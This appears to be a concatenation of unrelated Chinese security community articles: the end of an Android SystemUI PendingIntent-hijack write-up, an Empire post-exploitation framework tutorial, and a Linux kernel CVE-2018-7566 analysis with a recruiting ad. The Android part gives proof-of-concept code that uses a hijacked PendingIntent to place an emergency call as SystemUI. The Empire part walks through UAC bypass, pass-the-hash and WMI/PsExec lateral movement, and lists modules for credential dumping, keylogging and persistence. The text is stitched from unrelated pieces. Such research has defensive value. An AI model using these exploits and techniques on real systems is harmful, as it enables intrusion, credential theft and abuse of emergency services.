intent.putExtra(EXTRA_BIND_URI, sliceUri);
intent.putExtra(EXTRA_PKG, callingPackage);
intent.putExtra(EXTRA_PROVIDER_PKG, context.getPackageName());
// Unique pending intent.
intent.setData(sliceUri.buildUpon().appendQueryParameter("package", callingPackage)
.build());
return PendingIntent.getActivity(context, 0, intent, 0);
}
看到这里，就知道普通App也可以直接发起这个授权，让用户同意对KeyguardSliceProvider的访问，POC发起授权的部分如下。
\---POC2---
Intent intent = new Intent("com.android.intent.action.REQUEST_SLICE_PERMISSION");
intent.setComponent(new ComponentName("com.android.systemui",
"com.android.systemui.SlicePermissionActivity"));
Uri uri = Uri.parse(uriKeyguardSlices);
intent.putExtra("slice_uri", uri);
intent.putExtra("pkg", getPackageName());
intent.putExtra("provider_pkg", "com.android.systemui");
startActivity(intent);
点击同意后，就可以真正call到KeyguardSliceProvider
### 0x06 PendingIntent劫持题
再次调用POC1，得到Slice如下，
sargo:/data/system/slice # logcat -s pi
--------- beginning of main
05-30 10:40:52.956 12871 12871 D pi : long
05-30 10:40:52.956 12871 12871 D pi : slice:
05-30 10:40:52.956 12871 12871 D pi : text: Sat, May 30
05-30 10:40:52.956 12871 12871 D pi : slice:
05-30 10:40:52.956 12871 12871 D pi : action
05-30 10:40:52.956 12871 12871 D pi : long
注意上面显示的
那个action就是需要劫持的PendingIntent，通过调试观察，这个PendingIntent被层层包裹，位于返回Slice第3个SliceItem的第1个SliceItem，用代码表示就是
`PendingIntent pi =
slice.getItems().get(2).getSlice().getItems().get(0).getAction();`
这样就可以给出POC的最终利用
\---POC3---
Bundle responseBundle = getContentResolver().call(Uri.parse(uriKeyguardSlices), "bind_slice", null, prepareReqBundle());
Slice slice = responseBundle.getParcelable("slice");
Log.d("pi", slice.toString());
PendingIntent pi = slice.getItems().get(2).getSlice().getItems().get(0).getAction();
Intent evilIntent = new Intent("android.intent.action.CALL_PRIVILEGED");
evilIntent.setData(Uri.parse("tel:911"));
try {
pi.send(getApplicationContext(), 0, evilIntent, null, null);
} catch (PendingIntent.CanceledException e) {
e.printStackTrace();
}
在用户仅授权访问SystemUI KeyguardSliceProvider的情况下，拨打紧急电话。
至此，我们通过call函数，经过SliceProvider的授权，层层剥茧抽丝，拿到了潜藏至深的双无PendingIntent，并以SystemUI的名义直接拨打紧急电话。这是一个绕过有关安全设置权限的操作，因此Google评级为高危。
### 0x07 修复
Google针对双无PendingIntent进行了修复，使其指向一个并不存在的的Activity，无法被劫持。
- mPendingIntent = PendingIntent.getActivity(getContext(), 0, new Intent(), 0);
+ mPendingIntent = PendingIntent.getActivity(getContext(), 0,
+ new Intent(getContext(), KeyguardSliceProvider.class), 0);
### 0x08 参考
[1] <https://source.android.com/security/bulletin/2020-06-01>
[2] <http://retme.net/index.php/2014/11/14/broadAnywhere-bug-17356824.html>
[3]
<https://developer.android.com/reference/android/content/ContentProvider#call(java.lang.String,%20java.lang.String,%20java.lang.String,%20android.os.Bundle)>
[4] <https://bitbucket.org/secure-it-i/android-app-vulnerability-benchmarks/src/master/ICC/WeakChecksOnDynamicInvocation-DataInjection-Lean/>
[5] <https://developer.android.com/guide/slices>
[6] <https://proandroiddev.com/android-jetpack-android-slices-introduction-cf0ce0f3e885>
* * * | 社区文章 |
## 0x01 Empire简介及部署
Empire是一个开源，跨平台的远程管理和后渗透开发框架。本文是个大杂烩，介绍了Empire的基本功能，还总结Empire常见模块用途，以及渗透中的一些案例研究。
项目地址：<https://github.com/EmpireProject/Empire>
### Empire的部署
官方支持部署系统Kali、Debian、Ubuntu。
本文环境在系统Kali 2019.4下部署完成。
git clone https://github.com/EmpireProject/Empire
部署坑点：
install.sh脚本安装的requests模块版本和urllib3模块不兼容，卸载requests重新安装解决问题。
pip uninstall requests
pip install requests
## 0x02 Empire基础知识
在使用工具前，对工具有一个基础概念会让使用更轻松一点，分析工具目录用途是最快了解工具架构的方法。
### Empire目录结构
├── data
│ ├── agent
│ ├── misc
│ ├── module_source
│ ├── obfuscated_module_source
│ └── profiles
├── downloads
│ ├── 37SNWM1U
│ ├── 4RY12ZPW
│ ├── DF4UK2SX
│ ├── FP46V2R1
│ ├── KU5E687M
│ ├── STH5VG46
│ └── Z1UCRB3X
├── lib
│ ├── common
│ ├── listeners
│ ├── modules
│ ├── powershell
│ └── stagers
├── plugins
└── setup
* setup目录
setup最重要的两个文件是install.sh 、reset.sh，一个是安装脚本，一个是重置脚本。
reset.sh主要干以下事情：
1. 重置数据库
2. 删除调试文件
3. 删除downloads文件夹
4. 如果不在docker中，则启动Empire
* 主路径empire文件程序启动入口。
* data目录主要存放模块源码、程序数据、agent。
* lib目录主要存放listeners、modules、powershell、stagers等功能模块。
* plugins目录主要存放扩展插件。
### listeners
Empire listeners功能主要用于监听返回的shell。
相关命令：
命令 | 功能
---|---
listeners | 进入listeners交互菜单
uselistener | 使用一个Empire listener模块
info | 显示listener模块设置信息
set | 设置listener模块信息
execute | 执行
进入listeners交互菜单
使用一个Empire listener模块
显示listener模块设置信息
### Stagers
Empire Stagers功能主要用于生成反弹shell的payload。
相关命令：
命令 | 功能
---|---
usestager | 使用Empire stager
info | 显示usestager模块设置信息
set | 设置usestager模块信息
execute | 执行
使用Empire stager
显示usestager模块设置信息
设置usestager模块信息并执行
Payload生成成功
### Agents
Empire Agents功能主要用于管理反弹shell的会话。
Agent命令 | 功能
---|---
agents | 进入agents菜单
back | 返回上一个菜单
bypassuac | 运行BypassUAC，生成一个新的Agent
clear | 清理agent任务
creds | 显示数据库中的凭据
download | 下载文件
exit | 退出
help | 帮助
info | 显示Agent信息
injectshellcode | shellcode注入，例如：injectshellcode <meter_listener>
<pid></pid></meter_listener>
jobs | 返回工作列表或者停止正在运行的工作
kill | 停止特定的进程名称或ID
killdate | 获取或设置agent的停止日期
list | 显示存活的agents或listeners
listeners | 进入存活listeners交互菜单
lostlimit | 检查更改丢失的agent
main | 返回主菜单
mimikatz | 运行Invoke-Mimikatz
psinject | 将启动器注入远程进程，例如：psinject <listener> <pid/process_name></listener>
pth | 通过Mimikatz执行Pass The Hash
rename | 重命名agent
resource | 从文件中读取并执行Empire命令列表。
revtoself | 使用凭证/令牌还原令牌特权
sc | 截屏，默认为PNG。 给出压缩率意味着使用JPEG。 例如 sc [1-100]
scriptcmd | 在当前导入的PowerShell脚本中执行一个功能。
scriptimport | 导入PowerShell脚本并将其保存在代理的内存中。
searchmodule | 搜索Empire模块
shell | 执行shell命令
shinject | 将非meterpreter侦听器shellcode注入远程进程。例如：shinject <listener>
<pid></pid></listener>
sleep | agent睡眠间隔
spawn | 为给定的侦听器名称生成一个新的Empire agent
steal_token | 使用凭证/令牌模拟给定进程ID的令牌。
sysinfo | 获取系统信息
updatecomms | 动态地将代理通信更新到另一个侦听器
updateprofile | 更新代理连接配置文件
upload | 上传文件
usemodule | 使用Empire模块
workinghours | 获取或设置agent的工作时间(9:00-17:00)
使用interact命令进入Agents交互菜单
## 0x03 权限提升
在Agents交互菜单，Username一栏没有*就需要权限提升。
### UAC Bypasses
用户admin在管理员组，但是我们的Agents没有提升到管理员权限，这是因为UAC在发挥重要，没有以管理员身份进行运行。
shell net localgroup Administrators 查看在管理员组的用户
利用UAC Bypasses提升权限
## 0x04 横向移动
Empire已经实现以下几种常见的横向移动模块。
* Pass-the-hash
* Invoke-WMI
* Invoke-PsExec
* PSRemoting
### Pass-the-hash
Empire的credentials/mimikatz/pth模块通过Invoke-Mimikaz的sekurlsa::pth函数实现了哈希传递。
首先我们使用mimikaz提取用户凭据，creds查看用户凭据
利用situational_awareness/network/powerview/get_user收集用户，看他能干什么。
可以发现这个用户是域管理员，我们可以利用凭据来访问域中的其他机器。
pth 2获取凭据库中CredID为2用户运行程序的PID
然后利用steal_token窃取身份令牌
访问成功
### Invoke-WMI
WMI可以描述为一组管理Windows系统的方法和功能。我们可以把它当作API来与Windows系统进行相互交流。WMI在渗透测试中的价值在于它不需要下载和安装，
因为WMI是Windows系统自带功能。而且整个运行过程都在计算机内存中发生，不会留下任何痕迹。
首先获取计算机名：
加载lateral_movement/invoke_wmi模块
需要设置ComputerName和Listener
(Empire: powershell/lateral_movement/invoke_wmi) > set Listener testhttp
(Empire: powershell/lateral_movement/invoke_wmi) > set ComputerName DC3
返回agent VBFT4SPG
### Invoke-PsExec
利用PsExec进行横向移动，一般情况下不建议使用。
使用模块powershell/situational_awareness/network/powerview/find_localadmin_access查找可以利用PsExec进行横向移动的机器。
加载lateral_movement/invoke_psexec模块，需要设置ComputerName和Listener
(Empire: LDYN7VBW) > usemodule lateral_movement/invoke_psexec
(Empire: powershell/lateral_movement/invoke_psexec) > set ComputerName DC3
(Empire: powershell/lateral_movement/invoke_psexec) > set Listener testhttp
(Empire: powershell/lateral_movement/invoke_psexec) > execute
返回agent PLTAH594
### PSRemoting
如果远程计算机运行Enable-PSRemoting将计算机配置为接收远程命令，我们就可以利用PSRemoting来进行横向移动。
配置PowerShell会话的远程访问
Enable-PSRemoting -Force #启用
更多关于PSRemoting的知识请看下方链接：
<https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/enable-psremoting?view=powershell-6>
## 0x05 Empire 204个模块信息列表
### code_execution（代码执行）
模块名 | 功能
---|---
code_execution/invoke_dllinjection | 使用PowerSploit的Invoke-DLLInjection将Dll注入您选择的进程ID。
code_execution/invoke_metasploitpayload |
生成一个新的隐藏PowerShell窗口，该窗口下载并执行Metasploit
Payload。这与Metasploit模块theexploit/multi/scripts/web_delivery互动
code_execution/invoke_ntsd | 使用NT Symbolic Debugger执行Empire launcher代码
code_execution/invoke_reflectivepeinjection | 使用PowerSploit的Invoke-ReflectivePEInjection进行反射PE注入，将DLL/EXE加载进PowerShell进程中，或者将DLL加载进远程进程中
code_execution/invoke_shellcode | 使用PowerSploit的Invoke--Shellcode注入Shellcode
code_execution/invoke_shellcodemsil | 执行shellcode
### collection（信息采集）
模块名 | 功能
---|---
collection/ChromeDump | 收集chrome浏览器保存的密码和浏览历史记录
collection/FoxDump | 收集Firefox浏览器保存的密码和浏览历史记录
collection/USBKeylogger* | 利用ETW作为键盘记录
collection/WebcamRecorder | 从摄像头捕获视频
collection/browser_data | 搜索浏览器历史记录或书签
collection/clipboard_monitor | 按指定的时间间隔监视剪贴板
collection/file_finder | 查找域中的敏感文件
collection/find_interesting_file | 查找域中的敏感文件
collection/get_indexed_item | 获取Windows desktop search索引文件
collection/get_sql_column_sample_data | 从目标SQL Server返回列信息。
collection/get_sql_query | 在目标SQL服务器上执行查询
collection/inveigh | Windows PowerShell LLMNR/mDNS/NBNS中间人工具
collection/keylogger |
键盘记录到keystrokes.txt文件中，文件位置/downloads/<agentname>/keystrokes.txt</agentname>
collection/minidump | 进程的全内存转储，PowerSploit的Out-Minidump.ps1
collection/netripper |
将NetRipper注入目标进程，该进程使用API挂钩以拦截来自低特权用户的网络流量和与加密相关的功能，从而能够在加密之前/解密之后捕获纯文本流量和加密流量。
collection/ninjacopy* | 通过读取原始卷并解析NTFS结构，从NTFS分区卷中复制文件。
collection/packet_capture* | 使用netsh在主机上启动数据包捕获。
collection/prompt | 提示当前用户在表单框中输入其凭据，然后返回结果。
collection/screenshot | 屏幕截图
collection/vaults/add_keepass_config_trigger | 寻找KeePass配置
collection/vaults/find_keepass_config | 此模块查找并解析KeePass.config.xml
(2.X)和KeePass.config.xml (1.X)文件。
collection/vaults/get_keepass_config_trigger | 该模块从KeePass 2.X配置XML文件中提取触发器说明
collection/vaults/keethief | 此模块检索未锁定的KeePass数据库的database mastey key信息
collection/vaults/remove_keepass_config_trigger | 该模块从Find-KeePassConfig找到的所有KeePass配置中删除所有触发器
### credentials（身份凭证）
模块名 | 功能
---|---
credentials/credential_injection* | 运行PowerSploit的Invoke-CredentialInjection创建具有明文凭证的登录，而不会触发事件ID 4648使用显式凭据尝试登录
credentials/enum_cred_store | 从Windows凭据管理器中转储当前交互用户的纯文本凭据
credentials/invoke_kerberoast |
为具有非空服务主体名称（SPN）的所有用户请求kerberos票据，并将其提取为John或Hashcat可用格式
credentials/powerdump* | 使用Posh-SecMod的Invoke-PowerDump从本地系统中转储哈希
credentials/sessiongopher | 提取WinSCP已保存的会话和密码
credentials/tokens | 运行PowerSploit的Invoke-TokenManipulation枚举可用的登录令牌，并使用它们创建新的进程
credentials/vault_credential* | 运行PowerSploit的Get-VaultCredential以显示Windows
Vault凭证对象，包括明文Web凭证
credentials/mimikatz/cache* | 运行PowerSploit的Invoke-Mimikatz函数以提取MSCache(v2)
hashes
credentials/mimikatz/certs* | 运行PowerSploit的Invoke-Mimikatz函数将所有证书提取到本地目录
credentials/mimikatz/command* | 使用自定义命令运行PowerSploit的Invoke-Mimikatz函数
credentials/mimikatz/dcsync | 运行PowerSploit的Invoke-Mimikatz函数，以通过Mimikatz的lsadump::dcsync模块提取给定的帐户密码
credentials/mimikatz/dcsync_hashdump | 运行PowerSploit的Invoke-Mimikatz函数，以使用Mimikatz的lsadump::dcsync模块收集所有域哈希
credentials/mimikatz/extract_tickets | 运行PowerSploit的Invoke-Mimikatz函数，以base64编码形式从内存中提取kerberos票据
credentials/mimikatz/golden_ticket | 运行PowerSploit的Invoke-Mimikatz函数以生成黄金票据并将其注入内存
credentials/mimikatz/keys* | 运行PowerSploit的Invoke-Mimikatz函数以将所有密钥提取到本地目录
credentials/mimikatz/logonpasswords* | 运行PowerSploit的Invoke-Mimikatz函数以从内存中提取纯文本凭据。
credentials/mimikatz/lsadump* | 运行PowerSploit的Invoke-Mimikatz函数以从内存中提取特定的用户哈希。
在域控制器上很有用。
credentials/mimikatz/mimitokens* | 运行PowerSploit的Invoke-Mimikatz函数以列出或枚举令牌。
credentials/mimikatz/pth* | 运行PowerSploit的Invoke-Mimikatz函数以执行sekurlsa::pth来创建一个新进程。
credentials/mimikatz/purge | 运行PowerSploit的Invoke-Mimikatz函数从内存中清除所有当前的kerberos票据
credentials/mimikatz/sam* | 运行PowerSploit的Invoke-Mimikatz函数从安全帐户管理器（SAM）数据库中提取哈希
credentials/mimikatz/silver_ticket | 运行PowerSploit的Invoke-Mimikatz函数，以生成服务器/服务的白银票据并将其注入内存。
credentials/mimikatz/trust_keys* | 运行PowerSploit的Invoke-Mimikatz函数，从域控制器中提取域信任密钥。
### exfiltration（数据窃取）
模块名 | 功能
---|---
exfiltration/egresscheck |
可用于帮助检查主机与客户端系统之间的出口，详细信息：<https://github.com/stufus/egresscheck-framework>
exfiltration/exfil_dropbox | 下载文件到dropbox
### exploitation（漏洞利用EXP）
模块名 | 功能
---|---
exploitation/exploit_eternalblue | MS17_010永恒之蓝漏洞利用
exploitation/exploit_jboss | Jboss漏洞利用
exploitation/exploit_jenkins | 在未授权访问的Jenkins脚本控制台上运行命令
### lateral_movement（横向移动）
模块名 | 功能
---|---
lateral_movement/inveigh_relay | smb中继攻击
lateral_movement/invoke_dcom | 使用DCOM在远程主机上执行stager
lateral_movement/invoke_executemsbuild | 该模块利用WMI和MSBuild编译并执行一个包含Empire
launcher的xml文件。
lateral_movement/invoke_psexec | PsExec横向移动
lateral_movement/invoke_psremoting | 远程PowerShell横向移动
lateral_movement/invoke_smbexec | SMBExec横向移动
lateral_movement/invoke_sqloscmd | 利用xp_cmdshell横向移动
lateral_movement/invoke_sshcommand | 利用SSH横向移动
lateral_movement/invoke_wmi | 利用WMI横向移动
lateral_movement/invoke_wmi_debugger | 使用WMI将远程机器上的二进制文件的调试器设置为cmd.exe或stager
lateral_movement/jenkins_script_console | 利用未授权访问的Jenkins脚本控制台横向移动
lateral_movement/new_gpo_immediate_task | 利用GPO中的计划任务横向移动
### management（管理）
模块名 | 功能
---|---
management/enable_rdp* | 在远程计算机上启用RDP并添加防火墙例外。
management/disable_rdp* | 在远程计算机上禁用RDP
management/downgrade_account | 在给定的域帐户上设置可逆加密，然后强制下次用户登录时设置密码。
management/enable_multi_rdp* | 允许多个用户建立同时的RDP连接。
management/get_domain_sid | 返回当前指定域的SID
management/honeyhash* | 将人工凭证注入到LSASS
management/invoke_script | 运行自定义脚本
management/lock | 锁定工作站的显示
management/logoff | 从计算机上注销当前用户（或所有用户）
management/psinject | 利用Powershell注入Stephen
Fewer形成的ReflectivePick，该ReflectivePick在远程过程中从内存执行PS代码
management/reflective_inject | 利用Powershell注入Stephen
Fewer形成的ReflectivePick，该ReflectivePick在远程过程中从内存执行PS代码
management/restart | 重新启动指定的机器
management/runas | 绕过GPO路径限制
management/shinject | 将PIC Shellcode Payload注入目标进程
management/sid_to_user | 将指定的域sid转换为用户
management/spawn | 在新的powershell.exe进程中生成新agent
management/spawnas | 使用指定的登录凭据生成agent
management/switch_listener | 切换listener
management/timestomp | 通过'调用Set-MacAttribute执行类似耗时的功能
management/user_to_sid | 将指定的domain\user转换为domain sid
management/vnc | Invoke-Vnc在内存中执行VNC代理并启动反向连接
management/wdigest_downgrade* | 将计算机上的wdigest设置为使用显式凭据
management/zipfolder | 压缩目标文件夹以供以后渗透
management/mailraider/disable_security | 此函数检查ObjectModelGuard
management/mailraider/get_emailitems | 返回指定文件夹的所有项目
management/mailraider/get_subfolders | 返回指定顶级文件夹中所有文件夹的列表
management/mailraider/mail_search | 在给定的Outlook文件夹中搜索项目
management/mailraider/search_gal | 返回与指定搜索条件匹配的所有exchange users
management/mailraider/send_mail | 使用自定义或默认模板将电子邮件发送到指定地址。
management/mailraider/view_email | 选择指定的文件夹，然后在指定的索引处输出电子邮件项目
### persistence（持久化）
模块名 | 功能
---|---
persistence/elevated/registry* |
计算机启动项持久化，通过HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Run进行持久化，运行一个stager或者脚本
persistence/elevated/schtasks* | 计划任务持久化
persistence/elevated/wmi* | WMI事件订阅持久化
persistence/elevated/wmi_updater* | WMI订阅持久化
persistence/misc/add_netuser | 将域用户或本地用户添加到当前（或远程）计算机
persistence/misc/add_sid_history* | 运行PowerSploit的Invoke-Mimikatz函数以执行misc::addsid以添加用户的sid历史记录。 仅适用于域控制器
persistence/misc/debugger* | 将指定目标二进制文件的调试器设置为cmd.exe
persistence/misc/disable_machine_acct_change* | 禁止目标系统的机器帐户自动更改其密码
persistence/misc/get_ssps | 枚举所有已加载的安全软件包
persistence/misc/install_ssp* | 安装安全支持提供程序dll
persistence/misc/memssp* | 运行PowerSploit的Invoke-Mimikatz函数以执行misc::memssp，将所有身份验证事件记录到C:\Windows\System32\mimisla.log
persistence/misc/skeleton_key* | 运行PowerSploit的Invoke-Mimikatz函数来执行misc::skeleton，植入密码mimikatz的万能钥匙。 仅适用于域控制器
persistence/powerbreach/deaduser |
DeadUserBackdoor后门，详细信息：<http://www.sixdub.net/?p=535>
persistence/powerbreach/eventlog* | 启动事件循环后门
persistence/powerbreach/resolver | 启动解析器后门
persistence/userland/backdoor_lnk | LNK文件后门
persistence/userland/registry |
计算机启动项持久化，通过HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Run进行持久化，运行一个stager或者脚本
persistence/userland/schtasks | 计划任务持久化
### privesc（权限提升）
模块名 | 功能
---|---
privesc/ask | 弹出一个对话框，询问用户是否要以管理员身份运行powershell
privesc/bypassuac | UAC旁路
privesc/bypassuac_env | UAC旁路，通过SilentCleanup
privesc/bypassuac_eventvwr | UAC旁路，通过在.msc文件扩展名上执行映像劫持并启动eventvwr.exe来绕过UAC
privesc/bypassuac_fodhelper | UAC旁路，利用fodhelper.exe
privesc/bypassuac_sdctlbypass | UAC旁路，通过对sdclt执行注册表修改来绕过UAC
privesc/bypassuac_tokenmanipulation | UAC旁路，基于Matt Nelson @enigma0x3在Derbycon
2017上发布的脚本的绕过UAC模块
privesc/bypassuac_wscript | UAC旁路，利用Windows Script Host
privesc/getsystem* | 获取system特权
privesc/gpp | 利用windows组策略首选项缺陷获取系统帐号
privesc/mcafee_sitelist | 寻找McAfee SiteList.xml文件的纯文本密码
privesc/ms16-032 | MS16-032本地提权
privesc/ms16-135 | MS16-135本地提权
privesc/tater | 利用PowerShell实现的Hot Potato提权
privesc/powerup/allchecks | 检查目标主机的攻击向量以进行权限提升
privesc/powerup/find_dllhijack | 查找通用的.DLL劫持
privesc/powerup/service_exe_restore | 还原备份的服务二进制文件
privesc/powerup/service_exe_stager | 备份服务的二进制文件，并用启动stager.bat的二进制文件替换原始文件
privesc/powerup/service_exe_useradd | 修改目标服务以创建本地用户并将其添加到本地管理员
privesc/powerup/service_stager | 修改目标服务以执行Empire stager
privesc/powerup/service_useradd | 修改目标服务以创建本地用户并将其添加到本地管理员
privesc/powerup/write_dllhijacker | 将可劫持的.dll以及.dll调用的stager.bat一起写到指定路径。
wlbsctrl.dll在Windows 7上运行良好。需要重新启动计算机
### recon（侦察）
模块名 | 功能
---|---
recon/find_fruit | 在网络范围内搜索潜在的易受攻击的Web服务
recon/get_sql_server_login_default_pw | 发现在当前广播域之内的SQL Server实例
recon/http_login | 针对基本身份验证测试凭据
### situational_awareness（态势感知）
模块名 | 功能
---|---
situational_awareness/host/antivirusproduct | 获取防病毒产品信息
situational_awareness/host/computerdetails* | 枚举有关系统的有用信息
situational_awareness/host/dnsserver | 枚举系统使用的DNS服务器
situational_awareness/host/findtrusteddocuments | 该模块将枚举适当的注册表
situational_awareness/host/get_pathacl | 枚举给定文件路径的ACL
situational_awareness/host/get_proxy | 枚举当前用户的代理服务器和WPAD内容
situational_awareness/host/get_uaclevel | 枚举UAC级别
situational_awareness/host/monitortcpconnections |
监视主机与指定域名或IPv4地址的TCP连接，对于会话劫持和查找与敏感服务进行交互的用户很有用
situational_awareness/host/paranoia* | 持续检查运行过程中是否存在可疑用户
situational_awareness/host/winenum | 收集有关主机和当前用户上下文的相关信息
situational_awareness/network/arpscan | 针对给定范围的IPv4 IP地址执行ARP扫描
situational_awareness/network/bloodhound | 执行BloodHound数据收集
situational_awareness/network/get_exploitable_system | 查询Active
Directory以查找可能容易受到Metasploit Exploit的系统
situational_awareness/network/get_spn | 获取服务主体名称（SPN）
situational_awareness/network/get_sql_instance_domain | 返回SQL Server实例列表
situational_awareness/network/get_sql_server_info | 从目标SQL Server返回基本服务器和用户信息
situational_awareness/network/portscan | 使用常规套接字进行简单的端口扫描
situational_awareness/network/reverse_dns | 执行给定IPv4 IP范围的DNS反向查找
situational_awareness/network/smbautobrute | 针对用户名/密码列表运行SMB暴力破解
situational_awareness/network/smbscanner | 在多台机器上测试用户名/密码组合
situational_awareness/network/powerview/find_foreign_group |
枚举给定域的组的所有成员，并查找不在查询域中的用户
situational_awareness/network/powerview/find_foreign_user | 枚举在其主域之外的组中的用户
situational_awareness/network/powerview/find_gpo_computer_admin |
获取计算机（或GPO）对象，并确定哪些用户/组对该对象具有管理访问权限
situational_awareness/network/powerview/find_gpo_location |
获取用户名或组名，并确定其具有通过GPO进行管理访问的计算机
situational_awareness/network/powerview/find_localadmin_access |
在当前用户具有“本地管理员”访问权限的本地域上查找计算机
situational_awareness/network/powerview/find_managed_security_group |
此功能检索域中的所有安全组
situational_awareness/network/powerview/get_cached_rdpconnection |
使用远程注册表功能来查询计算机上“ Windows远程桌面连接客户端”的所有信息
situational_awareness/network/powerview/get_computer | 查询当前计算机对象的域
situational_awareness/network/powerview/get_dfs_share | 返回给定域的所有容错分布式文件系统的列表
situational_awareness/network/powerview/get_domain_controller | 返回当前域或指定域的域控制器
situational_awareness/network/powerview/get_domain_policy |
返回给定域或域控制器的默认域或DC策略
situational_awareness/network/powerview/get_domain_trust | 返回当前域或指定域的所有域信任
situational_awareness/network/powerview/get_fileserver | 返回从用户主目录提取的所有文件服务器的列表
situational_awareness/network/powerview/get_forest | 返回有关给定域森林的信息
situational_awareness/network/powerview/get_forest_domain | 返回给定林的所有域
situational_awareness/network/powerview/get_gpo | 获取域中所有当前GPO的列表
situational_awareness/network/powerview/get_group | 获取域中所有当前组的列表
situational_awareness/network/powerview/get_group_member | 返回给定组的成员
situational_awareness/network/powerview/get_localgroup |
返回本地或远程计算机上指定本地组中所有当前用户的列表
situational_awareness/network/powerview/get_loggedon | 执行NetWkstaUserEnum
Win32API调用以查询主动登录主机的用户
situational_awareness/network/powerview/get_object_acl | 返回与特定活动目录对象关联的ACL
situational_awareness/network/powerview/get_ou | 获取域中所有当前OU的列表
situational_awareness/network/powerview/get_rdp_session |
在给定的RDP远程服务中查询活动会话和原始IP
situational_awareness/network/powerview/get_session | 执行NetSessionEnum
Win32API调用以查询主机上的活动会话
situational_awareness/network/powerview/get_site | 获取域中所有当前站点的列表
situational_awareness/network/powerview/get_subnet | 获取域中所有当前子网的列表
situational_awareness/network/powerview/get_user | 查询给定用户或指定域中用户的信息
situational_awareness/network/powerview/map_domain_trust | 使用.CSV输出映射所有可访问的域信任
situational_awareness/network/powerview/process_hunter | 查询远程机器的进程列表
situational_awareness/network/powerview/set_ad_object |
使用SID，名称或SamAccountName来查询指定的域对象
situational_awareness/network/powerview/share_finder | 在域中的计算机上查找共享
situational_awareness/network/powerview/user_hunter | 查找指定组的用户登录的机器
### trollsploit（嬉戏）
模块名 | 功能
---|---
trollsploit/get_schwifty | 播放Schwifty视频，同时把计算机音量设置最大
trollsploit/message | 发送一个消息框
trollsploit/process_killer | 终止以特定名称开头的任何进程
trollsploit/rick_ascii | 生成一个新的powershell.exe进程运行Lee Holmes' ASCII Rick Roll
trollsploit/rick_astley | 运行SadProcessor's beeping rickroll
trollsploit/thunderstruck | 播放Thunderstruck视频，同时把计算机音量设置最大
trollsploit/voicetroll | 通过目标上的合成语音朗读文本
trollsploit/wallpaper | 将.jpg图片上传到目标机器并将其设置为桌面壁纸
trollsploit/wlmdr | 在任务栏中显示气球提示 | 社区文章 |
# “360代码卫士” 帮助 Linux 内核发现多个安全漏洞（附技术分析）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
**日前，360代码卫士“开源项目检测计划”发现了多个Linux内核的安全漏洞（CVE-2018-7566、CVE-2018-9858、CVE-2018-9865）,
并在第一时间将漏洞信息提交给了Linux内核组织，协助其进行漏洞修复。**
>
> 360开源项目检测计划是360代码卫士团队负责运营的一个公益计划，该计划旨在帮助开源项目提升代码安全质量，并通过知识分享让广大开发者关注和了解软件源代码安全问题，提高软件安全开发意识和技能。
>
>
> 截止目前，360开源项目检测计划已检测各类开源项目2200多个，测试代码超过3亿行，协助各类开源项目修复了众多源代码安全缺陷和漏洞，其中帮助开源项目修复的漏洞已有40多个被CVE收录。
Linux内核组织已经对编号为CVE-2018-7566的漏洞完成了修复，下面是对该漏洞的简要技术分析。
CVE-2018-7566是ALSA（Advanced Linux Sound
Architecture，高级Linux声音架构）的音序器核心未能对事件池进行正确初始化所引入的一个高危竞争条件漏洞，该漏洞的CVSS评分为7.8。下面结合源代码对该漏洞进行更详细的分析。
> ### 什么是竞争条件
>
> 由于两个或者多个进程竞争使用不能被同时访问的资源，使得这些进程有可能因为时间上推进的先后原因而出现问题，这叫做竞争条件（Race Condition）。
该漏洞的触发点位于 `/sound/core/seq/seq_clientmgr.c`文件的
`snd_seq_write`函数中。如下所示，在该函数的1021行中，当第一次写操作发生并且事件池为空时，会调用
`snd_seq_pool_init`函数对事件池进行初始化。
但是，如果攻击者通过并发地调用 `ioctl()`函数，恶意地对事件池的长度进行修改，那么就可能进一步的造成越界访问或者释放后再使用的安全问题。
Linux内核项目组对该漏洞进行了修复：通过引入互斥锁的机制，将
`snd_seq_pool_init`函数的调用保护起来，从而避免了竞争条件的发生。具体修复如下所示：
> ### 什么是互斥锁
>
> 在计算机科学中，如果两个或多个进程彼此之间没有直接的联系，但是由于要抢占使用某个临界区（critical
> section，不能被多个进程同时使用的资源，如打印机、变量）而产生制约关系，那么这种关系被称之为互斥（mutex）。而互斥锁（Mutex
> Lock）则是用来实现这种制约关系的数据结构。
##
## 关于360代码卫士
“360代码卫士”是360企业安全集团旗下专注于软件源代码安全的产品线，能力涵盖了源代码缺陷检测、源代码合规检测、源代码溯源检测三大方向，分别解决软件开发过程中的安全缺陷和漏洞问题、代码编写的合规性问题、开源代码安全管控问题。“360代码卫士”系列产品可支持Windows、Linux、Android、AppleiOS、IBM
AIX等平台上的源代码安全分析，支持的编程语言涵盖C、C++、C#、Objective-C、Java、JSP、JavaScript、PHP、Python等。目前360代码卫士已应用于上百家大型机构，帮助用户构建自身的代码安全保障体系，消减软件代码安全隐患。
### **当当当~别走~福利来啦~**
360代码安全实验室正在寻找漏洞挖掘安全研究员，针对常见操作系统、应用软件、网络设备、智能联网设备等进行安全研究、漏洞挖掘。
> 360代码安全实验室是360代码卫士的研究团队，专门从事源代码、二进制漏洞挖掘和分析的研究团队，主要研究方向包括：Windows/Linux/MacOS
> 操作系统、应用软件、开源软件、网络设备、IoT设备等。团队成员既有二进制漏洞挖掘高手，微软全球TOP100贡献白帽子，Pwn2own 2017
> 冠军队员，又有开源软件安全大拿，人工智能安全专家。实验室安全团队的研究成果获得微软、Adobe、各种开源组织等的60多次致谢。
如果你：
> 对从事漏洞研究工作充满热情
>
> 熟悉操作系统原理，熟悉反汇编，逆向分析能力较强
>
> 了解常见编程语言，具有一定的代码阅读能力
>
> 熟悉Fuzzing技术及常见漏洞挖掘工具
>
> 挖掘过系统软件、网络设备等漏洞者（有cve编号）优先
>
> 具有漏洞挖掘工具开发经验者优先
那么，你将得到：
> 白花花的 **银子** ——月薪20K-60K+年底双薪+项目奖，优秀者还有股票期权哦
>
> 暖心的 **福利** ——六险一金+各种补贴+下午茶+节假日礼品
>
> **重点重点重点** ——志同道合、暖心的我们
心动不如行动！无论你是经验丰富的 **大咖儿** ，还是志向从事安全研究的 **菜鸟儿** ，不要犹豫！
赶紧投简历到 **[email protected]** 吧！我会在3个工作日内找到你~ | 社区文章 |
## bugbounty:File Disclosure to Remote Code Execution
